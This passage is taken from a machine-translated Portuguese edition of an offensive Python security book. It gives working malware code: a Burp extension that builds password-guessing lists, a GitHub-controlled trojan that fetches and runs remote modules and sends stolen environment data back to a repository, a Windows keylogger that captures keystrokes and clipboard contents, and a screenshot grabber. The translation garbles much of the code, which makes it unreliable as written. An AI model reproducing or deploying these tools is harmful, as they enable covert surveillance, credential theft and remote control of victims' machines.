suficientes para impressionar seus amigos, então vamos fazer Burp fazer o trabalho pesado.

Abra bhp_wordlist.py e elimine este código.


da importação do arroto IBurpExtender da
importação do arroto IContextMenuFactory

de javax.swing import JMenuItem de java.util


import List, ArrayList de java.net import URL

importe re
from datetime import datetime from
HTMLParser import HTMLParser

class TagStripper(HTMLParser): def


__init__(self): HTMLParser.__init__(self)
self.page_text = []

def handle_data(self, data):


ÿ self.page_text.append(dados)

def handle_comment(self, data):


ÿ self.handle_data(data)

def strip(self, html): self.feed(html)

ÿ Retorna " ".join(self.page_text)

class BurpExtender(IBurpExtender, IContextMenuFactory): def


registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks
self._helpers = callbacks.getHelpers() self.context

= Nenhum
self.hosts = conjunto()

# Comece com algo que sabemos ser comum


ÿ self.wordlist = set(["senha"])

# configuramos nossos callbacks de


extensão.setExtensionName("BHP Wordlist")
callbacks.registerContextMenuFactory(self)

Retorna

def createMenuItems(self, context_menu):


self.context = context_menu menu_list =
ArrayList()
Machinemenu_list.add(JMenuItem("Criar
Translated by Google lista de palavras",
actionPerformed=self.wordlist_menu))

retornar menu_list

O código nesta listagem deve ser bastante familiar agora. Começamos importando os módulos necessários.
Uma classe auxiliar TagStripper nos permitirá remover as tags HTML das respostas HTTP que processaremos posteriormente.
Sua função handle_data armazena o texto da página ÿ em uma variável de membro. Também definimos handle_comment
porque queremos que as palavras armazenadas nos comentários do desenvolvedor também sejam adicionadas à nossa lista
de senhas. Nos bastidores, handle_comment apenas chama handle_data ÿ (no caso de querermos mudar a forma como
processamos o texto da página no futuro).

A função strip alimenta o código HTML para a classe base, HTMLParser, e retorna o texto da página resultante ÿ, que será útil
posteriormente. O restante é quase exatamente igual ao início do script bhp_bing.py que acabamos de terminar. Mais uma vez,
o objetivo é criar um item de menu de contexto na IU do Burp. A única novidade aqui é que armazenamos nossa lista de palavras
em um conjunto, o que garante que não introduzamos palavras duplicadas conforme avançamos. Inicializamos o conjunto com a
senha favorita de todos, “senha” ÿ, apenas para garantir que ela acabe em nossa lista final.

Agora vamos adicionar a lógica para pegar o tráfego HTTP selecionado do Burp e transformá-lo em uma lista de palavras base.

def wordlist_menu(self,evento):

# pegue os detalhes do que o usuário clicou http_traffic =


self.context.getSelectedMessages()

para tráfego em http_traffic: http_service =


traffic.getHttpService() host = http_service.getHost()

ÿ self.hosts.add(host)

http_response = traffic.getResponse()

se http_response:
ÿ self.get_words(http_response)
self.display_wordlist()
Retorna

def get_words(self, http_response):

cabeçalhos, corpo = http_response.tostring().split('\r\n\r\n', 1)

# pular respostas sem texto


ÿ if headers.lower().find("tipo de conteúdo: texto") == -1:
Retorna

tag_stripper = TagStripper()
ÿ page_text = tag_stripper.strip(corpo)

ÿ palavras = re.findall("[a-zA-Z]\w{2,}", page_text)

por palavra em palavras:

# filtra strings longas if len(word) <= 12:


self.wordlist.add(word.lower())
ÿ
Retorna

Nossa primeira tarefa é definir a função wordlist_menu , que é nosso manipulador de cliques no menu.
Ele salva o nome do host de resposta ÿ para mais tarde e, em seguida, recupera a resposta HTTP e a alimenta em nossa função
get_words ÿ. A partir daí, get_words separa o cabeçalho do corpo da mensagem,
Machine Translated
verificando se estamosby Google
apenas tentando processar respostas baseadas em texto ÿ. Nossa classe TagStripper ÿ remove o código
HTML do restante do texto da página. Usamos uma expressão regular para localizar todas as palavras que começam com um
caractere alfabético seguido por dois ou mais caracteres de “palavra” ÿ. Depois de fazer o corte final, as palavras bem-sucedidas são
salvas em letras minúsculas na lista de palavras ÿ.

Agora vamos completar o script dando a ele a capacidade de alterar e exibir a lista de palavras capturadas.

def mangle(auto, palavra):


ano = datahora.agora().ano
ÿ sufixos = ["", "1", "!", ano] mutilado = []

para senha em (palavra, palavra.capitalize()): para sufixo em


sufixos:
ÿ mangled.append("%s%s" % (senha, sufixo))

retornar mutilado

def display_wordlist(self):

ÿ print "#!comentário: BHP Wordlist para site(s) %s" % ", ".join(self.hosts)

para palavra em sort(self.wordlist):


para senha em self.mangle(palavra):
imprimir senha

Retorna

Muito agradável! A função mangle pega uma palavra base e a transforma em uma série de suposições de senha com base em
algumas “estratégias” comuns de criação de senha. Neste exemplo simples, criamos uma lista de sufixos para adicionar no final da
palavra base, incluindo o ano atual ÿ. Em seguida, percorremos cada sufixo e o adicionamos à palavra base ÿ para criar uma tentativa
de senha exclusiva. Fazemos outro loop com uma versão em maiúscula da palavra base para uma boa medida. Na função
display_wordlist , imprimimos um comentário no estilo “John the Ripper” ÿ para nos lembrar quais sites foram usados para gerar essa
lista de palavras.
Em seguida, mutilamos cada palavra base e imprimimos os resultados. Hora de levar esse bebê para dar uma volta.
Machine Translated by Google
Chutando os pneus Clique na

guia Extender em Burp, clique no botão Adicionar e use o mesmo procedimento que usamos para nossas extensões anteriores
para fazer a extensão Wordlist funcionar. Depois de carregá-lo, navegue até http:// testphp.vulnweb.com/.

Clique com o botão direito do mouse no site no painel Site Map e selecione Spider this host, conforme mostrado na Figura 6-12.

Figura 6-12. Espalhando um hospedeiro com Burp

Depois que Burp tiver visitado todos os links no site de destino, selecione todas as solicitações no painel superior direito, clique com o
botão direito do mouse para abrir o menu de contexto e selecione Create Wordlist, conforme mostrado na Figura 6-13.
Machine Translated by Google

Figura 6-13. Enviando as solicitações para a extensão BHP Wordlist

Agora verifique a guia de saída da extensão. Na prática, salvaríamos sua saída em um arquivo, mas, para
fins de demonstração, exibimos a lista de palavras no Burp, conforme mostrado na Figura 6-14.

Agora você pode alimentar esta lista de volta no Burp Intruder para executar o ataque de adivinhação de senha real.
Machine Translated by Google

Figura 6-14. Uma lista de senhas com base no conteúdo do site de destino

Agora demonstramos um pequeno subconjunto da API do Burp, incluindo a capacidade de gerar nossas próprias
cargas de ataque, bem como criar extensões que interagem com a IU do Burp. Durante um teste de penetração, você
frequentemente se depara com problemas específicos ou necessidades de automação, e a API do Burp Extender
oferece uma excelente interface para codificar sua saída de um canto ou, pelo menos, evitar que você tenha que
copiar e colar continuamente os dados capturados do Burp para outra ferramenta.

Neste capítulo, mostramos como construir uma excelente ferramenta de reconhecimento para adicionar ao seu cinto
de ferramentas Burp. Como está, esta extensão recupera apenas os 20 principais resultados do Bing, portanto, como
lição de casa, você pode fazer solicitações adicionais para garantir a recuperação de todos os resultados. Isso exigirá
ler um pouco sobre a API do Bing e escrever algum código para lidar com o conjunto de resultados maior. É claro que
você poderia dizer à aranha Burp para rastrear cada um dos novos sites que descobrir e procurar vulnerabilidades
automaticamente!

[13] Visite http:// www.bing.com/ dev/ en-us/ dev-center/ para configurar sua própria chave de API gratuita do Bing.
Machine Translated by Google
Capítulo 7. Comando e controle do Github
Um dos aspectos mais desafiadores da criação de uma estrutura de trojan sólida é controlar, atualizar e
receber dados de forma assíncrona de seus implantes implantados. É crucial ter uma maneira relativamente universal
de enviar código para seus trojans remotos. Essa flexibilidade é necessária não apenas para controlar seus trojans a fim
de executar diferentes tarefas, mas também porque você pode ter código adicional específico para o sistema operacional
de destino.

Portanto, embora os hackers tenham tido muitos meios criativos de comando e controle ao longo dos anos, como
o IRC ou até o Twitter, tentaremos um serviço realmente projetado para código. Usaremos o GitHub como uma
forma de armazenar informações de configuração do implante e dados exfiltrados, bem como quaisquer módulos que
o implante precise para executar tarefas. Também exploraremos como hackear o mecanismo de importação de
biblioteca nativa do Python para que, conforme você crie novos módulos trojan, seus implantes possam tentar
recuperá-los automaticamente e quaisquer bibliotecas dependentes diretamente de seu repositório também. Lembre-
se de que seu tráfego para o GitHub será criptografado por SSL, e há muito poucas empresas que eu vi que bloqueiam
ativamente o próprio GitHub.

Uma coisa a observar é que usaremos um repositório público para realizar esse teste; se você quiser gastar o
dinheiro, pode obter uma recompra privada para que olhos curiosos não vejam o que você está fazendo. Além disso,
todos os seus módulos, configurações e dados podem ser criptografados usando pares de chaves pública/privada, que
demonstro no Capítulo 9. Vamos começar!
Machine Translated by Google
Configurando uma conta GitHub Se você não tiver

uma conta GitHub, vá para GitHub.com, inscreva-se e crie um novo repositório chamado Chapter7. Em seguida,
você desejará instalar a biblioteca Python GitHub API [14] para poder automatizar sua interação com seu repositório. Você
pode fazer isso na linha de comando fazendo o seguinte:

pip instalar github3.py

Se ainda não o fez, instale o cliente git. Eu desenvolvo a partir de uma máquina Linux, mas funciona em qualquer
plataforma. Agora vamos criar uma estrutura básica para nosso repo. Faça o seguinte na linha de comando, adaptando
conforme necessário se você estiver no Windows:

$ mkdir trojan $
cd trojan $ git init
$ mkdir modules
$ mkdir config $
mkdir data $ touch
modules/.gitignore
$ touch config/.gitignore $ touch
data/.gitignore $ git add . $ git
commit -m "Adicionando estrutura
de repositório para trojan." $ git
remote add origin https://github.com/<yourusername>/chapter7.git
$ git push origin master

Aqui, criamos a estrutura inicial do nosso repo. O diretório config contém arquivos de configuração que serão identificados
exclusivamente para cada trojan. Ao implantar cavalos de Troia, você deseja que cada um execute tarefas diferentes e
cada cavalo de Troia verificará seu arquivo de configuração exclusivo. O diretório de módulos contém qualquer código
modular que você deseja que o trojan pegue e execute. Implementaremos um hack especial de importação para permitir
que nosso trojan importe bibliotecas diretamente de nosso repositório GitHub. Esse recurso de carregamento remoto
também permitirá que você armazene bibliotecas de terceiros no GitHub para que você não precise recompilar
continuamente seu trojan toda vez que quiser adicionar novas funcionalidades ou dependências.
O diretório de dados é onde o trojan verificará todos os dados coletados, pressionamentos de tecla, capturas de tela e
assim por diante. Agora vamos criar alguns módulos simples e um arquivo de configuração de exemplo.
Machine Translated by Google
Criando Módulos Em capítulos

posteriores, você fará negócios desagradáveis com seus trojans, como registrar as teclas digitadas e tirar screenshots.
Mas, para começar, vamos criar alguns módulos simples que podemos testar e implantar facilmente. Abra um novo
arquivo no diretório de módulos, nomeie-o como dirlister.py e insira o seguinte código:
importe-nos

def run(**args):

print "[*] No módulo dirlister." arquivos = os.listdir(".")

return str(arquivos)

Este pequeno trecho de código simplesmente expõe uma função de execução que lista todos os arquivos no
diretório atual e retorna essa lista como uma string. Cada módulo desenvolvido deve expor uma função de execução que
aceita um número variável de argumentos. Isso permite que você carregue cada módulo da mesma maneira e deixa
extensibilidade suficiente para que você possa personalizar os arquivos de configuração para passar argumentos para o
módulo, se desejar.

Agora vamos criar outro módulo chamado environment.py.


importe-nos

def run(**args): print "[*]


No módulo de ambiente." return str(os.environ)

Este módulo simplesmente recupera quaisquer variáveis de ambiente definidas na máquina remota na qual o trojan está
sendo executado. Agora vamos enviar esse código para nosso repositório GitHub para que seja utilizável por nosso trojan.
Na linha de comando, insira o seguinte código do diretório principal do repositório:
$ git adicionar .
$ git commit -m "Adicionando novos módulos" $ git
push origin master
Nome do usuário: ********
Senha: ********

Você deve então ver seu código sendo enviado para seu repositório GitHub; sinta-se à vontade para fazer login em sua
conta e verificar novamente! É exatamente assim que você pode continuar a desenvolver código no futuro. Vou deixar a
integração de módulos mais complexos para você como tarefa de casa. Se você tiver centenas de trojans implantados,
poderá enviar novos módulos para seu repositório GitHub e fazer o controle de qualidade ativando seu novo módulo em
um arquivo de configuração para sua versão local do trojan. Dessa forma, você pode testar em uma VM ou hardware de
host que você controla antes de permitir que um de seus trojans remotos pegue o código e o use.
Machine Translated by Google
Configuração do cavalo de Troia

Queremos ser capazes de incumbir nosso cavalo de Troia de executar determinadas ações durante um período
de tempo. Isso significa que precisamos de uma maneira de dizer quais ações devem ser executadas e quais
módulos são responsáveis por executar essas ações. O uso de um arquivo de configuração nos dá esse nível de
controle e também nos permite efetivamente colocar um cavalo de Tróia para dormir (não dando a ele nenhuma tarefa),
se assim o desejarmos. Cada trojan implantado deve ter um identificador exclusivo, tanto para que você possa classificar
os dados recuperados quanto para controlar qual trojan realiza determinadas tarefas. Vamos configurar o trojan para
procurar TROJANID.json no diretório de configuração , que retornará um documento JSON simples que podemos
analisar, converter em um dicionário Python e depois usar. O formato JSON também facilita a alteração das opções de
configuração. Vá para o diretório de configuração e crie um arquivo chamado abc.json com o seguinte
contente:
[
{
"module" : "lista de diretórios"
},

{ "módulo" : "ambiente"
}
]

Esta é apenas uma lista simples de módulos que queremos que o trojan remoto execute. Posteriormente, você verá
como lemos neste documento JSON e, em seguida, iteramos sobre cada opção para carregar esses módulos. Ao
debater as ideias do módulo, você pode descobrir que é útil incluir opções de configuração adicionais, como duração da
execução, número de vezes para executar o módulo selecionado ou argumentos a serem passados para o módulo. Entre
em uma linha de comando e emita o seguinte comando no diretório principal do repositório.
$ git adicionar.
$ git commit -m "Adicionando configuração simples." $
git push origin master Nome de usuário: ********

Senha: ********

Este documento de configuração é bastante simples. Você fornece uma lista de dicionários que informam ao trojan quais
módulos importar e executar. À medida que você cria sua estrutura, pode adicionar funcionalidade adicional a essas
opções de configuração, incluindo métodos de exfiltração, conforme mostro no Capítulo 9. Agora que você tem seus
arquivos de configuração e alguns módulos simples para executar, você começará a criar a peça trojan principal.
Machine Translated by Google
Construindo um cavalo de Tróia compatível com o Github

Agora vamos criar o cavalo de Troia principal que sugará as opções de configuração e o código para executar no GitHub. A
primeira etapa é criar o código necessário para lidar com a conexão, autenticação e comunicação com a API do GitHub.
Vamos começar abrindo um novo arquivo chamado git_trojan.py e inserindo o seguinte código:

import json import


base64 import sys
import time import
imp import random
import threading
import Queue import
os

do login de importação do github3

ÿ trojan_id = "abc"

trojan_config = "%s.json" % trojan_id data_path = "data/%s/"


% trojan_id trojan_modules= [] configurado = False task_queue

= Fila. Fila()

Este é apenas um código de configuração simples com as importações necessárias, que devem manter o tamanho geral do
trojan relativamente pequeno quando compilado. Digo relativamente porque a maioria dos binários compilados do Python
[15] py2exe tem cerca de 7 MB. A única coisa a observar é a variável trojan_id ÿ que
identifica este trojan. Se você explodisse essa técnica em uma botnet completa, desejaria a capacidade de gerar
trojans, definir seu ID, criar automaticamente um arquivo de configuração que é enviado para o GitHub e, em seguida,
compilar o trojan em um executável. Não vamos construir uma botnet hoje; Vou deixar sua imaginação fazer o trabalho.

Agora vamos colocar o código relevante do GitHub no lugar.

def connect_to_github(): gh =
login(username="yourusername",password="yourpassword") repo =
gh.repository("yourusername","chapter7") branch = repo.branch("master")

return gh,repo,branch

def get_file_contents(filepath):

gh,repo,branch = connect_to_github() tree =


branch.commit.commit.tree.recurse()

para nome de arquivo em tree.tree:

if filepath in filename.path: print "[*] Found file


%s" % filepath blob = repo.blob(filename._json_data['sha'])
return blob.content

retornar nenhum

def get_trojan_config(): global


configurado config_json =
get_file_contents(trojan_config) config = json.loads(base64.b64decode(config_json))
configurado = True
Machine Translated by Google
para a tarefa na configuração:

se task['module'] não estiver em sys.modules:

exec("importar %s" % tarefa['módulo'])

retornar configuração

def store_module_result(data): gh,repo,branch


= connect_to_github() remote_path = "data/%s/%d.data"
% (trojan_id,random.randint(1000,100000)) repo.create_file(remote_path,"Commit message ",base64.b64encode(dados))

Retorna

Essas quatro funções representam a principal interação entre o trojan e o GitHub. A função
connect_to_github simplesmente autentica o usuário no repositório e recupera o repositório atual e os objetos
de ramificação para uso por outras funções. Lembre-se de que, em um cenário do mundo real, você deseja
ofuscar esse procedimento de autenticação da melhor maneira possível. Você também pode querer pensar
sobre o que cada trojan pode acessar em seu repositório com base nos controles de acesso para que, se o
seu trojan for capturado, alguém não possa aparecer e excluir todos os seus dados recuperados. A função
get_file_contents é responsável por pegar arquivos do repositório remoto e ler o conteúdo localmente. Isso é
usado tanto para ler as opções de configuração quanto para ler o código-fonte do módulo.
A função get_trojan_config é responsável por recuperar o documento de configuração remota do
repositório para que seu trojan saiba quais módulos executar. E a função final store_module_result é
usada para enviar todos os dados que você coletou na máquina de destino. Agora vamos criar um hack
de importação para importar arquivos remotos de nosso repositório GitHub.
Machine Translated by Google
Hackeando a funcionalidade de importação do Python Se você
chegou até aqui no livro, sabe que usamos a funcionalidade de importação do Python para extrair bibliotecas
externas para que possamos usar o código contido nelas. Queremos ser capazes de fazer o mesmo com nosso
trojan, mas, além disso, também queremos ter certeza de que, se puxarmos uma dependência (como Scapy ou
netaddr), nosso trojan disponibilize esse módulo para todos os módulos subsequentes que nós puxamos. O Python
nos permite inserir nossa própria funcionalidade em como ele importa módulos, de forma que, se um módulo não
puder ser encontrado localmente, nossa classe de importação será chamada, o que nos permitirá recuperar
remotamente a biblioteca de nosso repositório. Isso é obtido adicionando uma classe personalizada à lista
sys.meta_path . [16] Vamos criar uma classe de carregamento personalizada agora adicionando o seguinte código:

classe GitImporter(objeto): def


__init__(self):
""
self.current_module_code =

def find_module(self,fullname,path=None): se configurado: print


"[*] Tentando recuperar %s" % fullname new_library =
get_file_contents("modules/%s" % fullname)
ÿ

se new_library não for None:


ÿ self.current_module_code = base64.b64decode(new_library)
retornar a si mesmo

retornar nenhum

def load_module(self,name):

ÿ module = imp.new_module(name) exec


ÿÿ self.current_module_code in module.__dict__ sys.modules[name] = module

módulo de retorno

Toda vez que o interpretador tenta carregar um módulo que não está disponível, nossa classe GitImporter é
utilizada. A função find_module é chamada primeiro em uma tentativa de localizar o módulo. Passamos essa chamada
para nosso carregador de arquivo remoto ÿ e, se pudermos localizar o arquivo em nosso repositório, decodificamos o
código em base64 e o armazenamos em nossa classe ÿ. Ao retornar self, indicamos ao interpretador Python que
encontramos o módulo e ele pode então chamar nossa função load_module para realmente carregá-lo. Usamos o
módulo imp nativo para primeiro criar um novo objeto de módulo em branco ÿ e, em seguida, colocamos o código que
recuperamos do GitHub nele ÿ. A última etapa é inserir nosso módulo recém-criado na lista sys.modules ÿ para que
seja selecionado por qualquer chamada de importação futura. Agora vamos dar os toques finais no trojan e dar uma
volta.

def module_runner(module):

task_queue.put(1) ÿ
resultado = sys.modules[module].run() task_queue.get()

# armazena o resultado em nosso repo


ÿ store_module_result(resultado)

Retorna

# loop principal do trojan


ÿ sys.meta_path = [GitImporter()]

enquanto verdadeiro:
Machine Translated by Google
se task_queue.empty():

ÿ configuração = get_trojan_config()

para a tarefa na
ÿ configuração: t = threading.Thread(target=module_runner,args=(task['module'],)) t.start()
time.sleep(random.randint(1,10))

time.sleep(random.randint(1000,10000))

Primeiro, certifique-se de adicionar nosso importador de módulo personalizado ÿ antes de iniciar o loop
principal de nosso aplicativo. O primeiro passo é pegar o arquivo de configuração do repositório ÿ e então iniciar
o módulo em seu próprio thread ÿ. Enquanto estivermos na função module_runner , simplesmente chamamos a
função run do módulo ÿ para iniciar seu código. Quando terminar de executar, devemos ter o resultado em uma
string que então enviamos para nosso repositório ÿ. O final do nosso cavalo de Tróia ficará inativo por um período
aleatório de tempo na tentativa de frustrar qualquer análise de padrão de rede. É claro que você poderia criar um
monte de tráfego para o Google.com ou qualquer outra coisa na tentativa de disfarçar o que seu trojan está fazendo.
Agora vamos dar uma volta!
Machine Translated by Google
Chutando os pneus
Tudo bem! Vamos dar uma olhada, executando-o a partir da linha de comando.

AVISO

Se você tiver informações confidenciais em arquivos ou variáveis de ambiente, lembre-se de que, sem um repositório
privado, essas informações irão para o GitHub para o mundo inteiro ver. Não diga que não avisei — e é claro que você pode usar
algumas técnicas de criptografia do Capítulo 9.

$ python git_trojan.py [*]


Arquivo encontrado abc.json [*]
Tentativa de recuperar dirlister [*] Módulos de arquivo/
dirlister encontrados [*] Tentativa de recuperar
ambiente [*] Módulos de arquivo/ambiente encontrados
[*] No módulo dirlister [ *] No módulo de ambiente.

Perfeito. Ele se conectou ao meu repositório, recuperou o arquivo de configuração, extraiu os dois módulos que
definimos no arquivo de configuração e os executou.

Agora, se você voltar para a linha de comando a partir do diretório do cavalo de Troia, digite:
$ git pull origin master De https://
github.com/blackhatpythonbook/chapter7 -> FETCH_HEAD
* filial mestre
Atualizando f4d9c1d..5225fdf
Avanço rápido

data/abc/29008.data | 1 + data/abc/
44763.data | 1 + 2 arquivos alterados,
2 inserções(+), 0 exclusões(-) modo de criação 100644 data/abc/
29008.data
criar modo 100644 data/abc/44763.data

Incrível! Nosso trojan verificou os resultados de nossos dois módulos em execução.

Há uma série de melhorias e aprimoramentos que você pode fazer nessa técnica básica de comando e controle. A
criptografia de todos os seus módulos, configuração e dados filtrados seria um bom começo. Automatizar o
gerenciamento de back-end de dados suspensos, atualizar arquivos de configuração e lançar novos trojans também
seria necessário se você fosse infectar em grande escala. À medida que você adiciona mais e mais funcionalidades,
também precisa estender como o Python carrega bibliotecas dinâmicas e compiladas. Por enquanto, vamos trabalhar
na criação de algumas tarefas de trojan independentes e deixarei para você integrá-las ao seu novo trojan do GitHub.

[14] O repositório onde esta biblioteca está hospedada está aqui: https:// github.com/ copitux/ python-github3/.

[15] Você pode conferir o py2exe aqui: http:// www.py2exe.org/.

[16] Uma explicação incrível desse processo escrita por Karol Kuczmarski pode ser encontrada aqui: http:// xion.org.pl/ 2012/05/06/
hacking python-imports/.
Machine Translated by Google
Capítulo 8. Tarefas comuns de cavalos de
Tróia no Windows
Ao implantar um trojan, você deseja executar algumas tarefas comuns: obter pressionamentos de
tecla, fazer capturas de tela e executar shellcode para fornecer uma sessão interativa para ferramentas
como CANVAS ou Metasploit. Este capítulo se concentra nessas tarefas. Vamos encerrar as coisas com algumas
técnicas de detecção de sandbox para determinar se estamos executando em um antivírus ou sandbox forense.
Esses módulos serão fáceis de modificar e funcionarão dentro de nossa estrutura de trojan. Em capítulos
posteriores, exploraremos ataques no estilo man-in-the-browser e técnicas de escalonamento de privilégios que
você pode implantar com seu trojan. Cada técnica vem com seus próprios desafios e probabilidade de ser
detectada pelo usuário final ou por uma solução antivírus. Eu recomendo que você modele cuidadosamente seu
alvo depois de implantar seu trojan para que possa testar os módulos em seu laboratório antes de testá-los em um
alvo ativo. Vamos começar criando um keylogger simples.
Machine Translated by Google
Keylogging para diversão e digitação Keylogging
é um dos truques mais antigos do livro e ainda é empregado com vários níveis de discrição hoje.
Os invasores ainda o usam porque é extremamente eficaz na captura de informações confidenciais,
como credenciais ou conversas.

Uma excelente biblioteca Python chamada PyHook [17] nos permite interceptar facilmente todos os eventos do
teclado. Ele aproveita a função nativa do Windows SetWindowsHookEx, que permite instalar uma função definida
pelo usuário a ser chamada para determinados eventos do Windows. Ao registrar um gancho para eventos de
teclado, podemos interceptar todos os pressionamentos de tecla que um destino emite. Além disso, queremos
saber exatamente em qual processo eles estão executando esses pressionamentos de tecla, para que possamos
determinar quando nomes de usuário, senhas ou outras informações úteis são inseridas. PyHook cuida de toda a
programação de baixo nível para nós, o que deixa a lógica central do keystroke logger para nós. Vamos abrir o
keylogger.py e inserir alguns dos encanamentos:
from ctypes import * import
pythoncom import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi current_window
= Nenhum

def get_current_process():

# obter um identificador para a janela de primeiro plano


ÿ hwnd = user32.GetForegroundWindow()

# encontre o ID do processo pid


= c_ulong(0) ÿ
user32.GetWindowThreadProcessId(hwnd, byref(pid))

# armazena o ID do processo atual process_id


= "%d" % pid.value

# pegue o executável executável


= create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400
ÿ | 0x10, False, pid)

ÿ psapi.GetModuleBaseNameA(h_process,None,byref(executável),512)

# agora leia seu título


window_title = create_string_buffer("\x00" * 512) length =
ÿ user32.GetWindowTextA(hwnd, byref(window_title),512)

# imprime o cabeçalho se estivermos no processo correto print

ÿ print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_.


título.valor)
imprimir

# fechar alças
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

Tudo bem! Então, apenas colocamos algumas variáveis auxiliares e uma função que irá capturar a janela ativa e
seu ID de processo associado. Primeiro chamamos GetForeGroundWindow ÿ, que retorna um identificador para a
janela ativa na área de trabalho do alvo. Em seguida, passamos esse identificador para o GetWindowThreadProcessId
Machinepara
ÿ função Translated by Google
recuperar o ID do processo da janela. Em seguida, abrimos o processo ÿ e, usando o identificador de
processo resultante, encontramos o nome executável real ÿ do processo. A etapa final é pegar o texto completo da barra
de título da janela usando a função GetWindowTextA ÿ. No final de nossa função auxiliar, exibimos todas as informações
ÿ em um belo cabeçalho para que você possa ver claramente quais teclas foram pressionadas com qual processo e
janela. Agora vamos colocar a carne do nosso keystroke logger no lugar para finalizar.

def KeyStroke(evento):

janela_atual global

# verifica se o alvo mudou de janela


ÿ if event.WindowName != current_window: current_window =
event.WindowName get_current_process()

# se eles pressionaram uma tecla padrão ÿ se


event.Ascii > 32 e event.Ascii < 127:
imprimir chr(evento.Ascii),
outro:
# se [Ctrl-V], obtém o valor na área de transferência
ÿ if event.Key == "V":

win32clipboard.OpenClipboard() valor_colado
= win32clipboard.GetClipboardData() win32clipboard.CloseClipboard()

print "[COLAR] - %s" % (valor_colado),

outro:

print "[%s]" % event.Key,

# passa a execução para o próximo gancho registrado


retornar Verdadeiro
# cria e registra um gerenciador de gancho ÿ kl =
pyHook.HookManager() ÿ kl.KeyDown = KeyStroke

# registra o gancho e executa para sempre


ÿ kl.HookKeyboard()
pythoncom.PumpMessages()

Isso é tudo que você precisa! Definimos nosso PyHook HookManager ÿ e, em seguida, vinculamos o evento KeyDown
à nossa função de retorno de chamada KeyStroke ÿ. Em seguida, instruímos o PyHook a conectar todos os
pressionamentos de tecla ÿ e continuar a execução. Sempre que o alvo pressiona uma tecla no teclado, nossa função
KeyStroke é chamada com um objeto de evento como único parâmetro. A primeira coisa que fazemos é verificar se o
usuário mudou de janela ÿ e, em caso afirmativo, adquirimos o nome da nova janela e as informações do processo. Em
seguida, examinamos o pressionamento de tecla que foi emitido ÿ e, se estiver dentro do intervalo imprimível ASCII,
simplesmente o imprimimos. Se for um modificador (como as teclas SHIFT, CTRL ou ALT ) ou qualquer outra tecla não
padrão, pegamos o nome da chave do objeto de evento. Também verificamos se o usuário está executando uma operação
de colagem ÿ e, se estiver, despejamos o conteúdo da área de transferência. A função de retorno de chamada é encerrada
retornando True para permitir que o próximo gancho na cadeia — se houver — processe o evento. Vamos dar uma volta!
Machine Translated by Google
Chutando os pneus É
fácil testar nosso keylogger. Basta executá-lo e começar a usar o Windows normalmente. Tente usar
seu navegador da Web, calculadora ou qualquer outro aplicativo e visualize os resultados em seu
terminal. A saída abaixo parecerá um pouco estranha, devido apenas à formatação do livro.
C:\>python keylogger-hook.py

[PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - c:\Python27\python.exe


key logger-hook.py]

teste

[ PID: 120 - IEXPLORE.EXE - Bing - Microsoft Internet Explorer ]

www . amido de milho . com [Retorno]

[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - c:\Python27\python.exe


keylogger-hook.py ]

[Lwin] r

[PID: 1944 - Explorer.EXE - Executar] calc [Retornar]

[ PID: 2848 - calc.exe - Calculadora ]

ÿ [Lshift] + 1 =

Você pode ver que digitei a palavra teste na janela principal onde o script do keylogger foi executado. Em seguida,
iniciei o Internet Explorer, naveguei até www.nostarch.com, e executei alguns outros aplicativos. Agora podemos dizer
com segurança que nosso keylogger pode ser adicionado ao nosso pacote de truques de trojan! Vamos passar a fazer
capturas de tela.
Machine Translated by Google
Capturas de tela A maioria dos

malwares e estruturas de teste de penetração inclui a capacidade de tirar capturas de tela do alvo remoto. Isso pode ajudar
a capturar imagens, quadros de vídeo ou outros dados confidenciais que você pode não ver com uma captura de pacote
ou keylogger. Felizmente, podemos usar o pacote PyWin32 (consulte Instalando os pré-requisitos) para fazer chamadas
nativas à API do Windows para obtê-los.

Um capturador de captura de tela usará a interface de dispositivo gráfico do Windows (GDI) para determinar as
propriedades necessárias, como o tamanho total da tela, e capturar a imagem. Alguns softwares de captura de tela
capturam apenas uma imagem da janela ou aplicativo ativo no momento, mas, em nosso caso, queremos a tela inteira.
Vamos começar. Abra o screenshotter.py e insira o seguinte código:
importar win32gui
importar win32ui
importar win32con
importar win32api

# pegue uma alça para a janela principal da área de trabalho


ÿ hdesktop = win32gui.GetDesktopWindow()

# determina o tamanho de todos os monitores em pixels ÿ largura =


win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) altura =
win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) esquerda =
win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) superior =
win32api.GetSystemMetrics(win32con.SM_VIRTUALSCRE_Y)

# cria um contexto de dispositivo


ÿ desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# cria um contexto de dispositivo baseado em memória


ÿ mem_dc = img_dc.CreateCompatibleDC()

# cria um objeto bitmap ÿ screenshot


= win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# copia a tela em nosso contexto de dispositivo de memória


ÿ mem_dc.BitBlt((0, 0), (largura, altura), img_dc, (esquerda, superior), win32con.SRCCOPY)

ÿ # salva o bitmap em um arquivo


screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')

# libere nossos objetos


mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

Vamos revisar o que esse pequeno script faz. Primeiro, adquirimos uma alça para toda a área de trabalho ÿ, que inclui
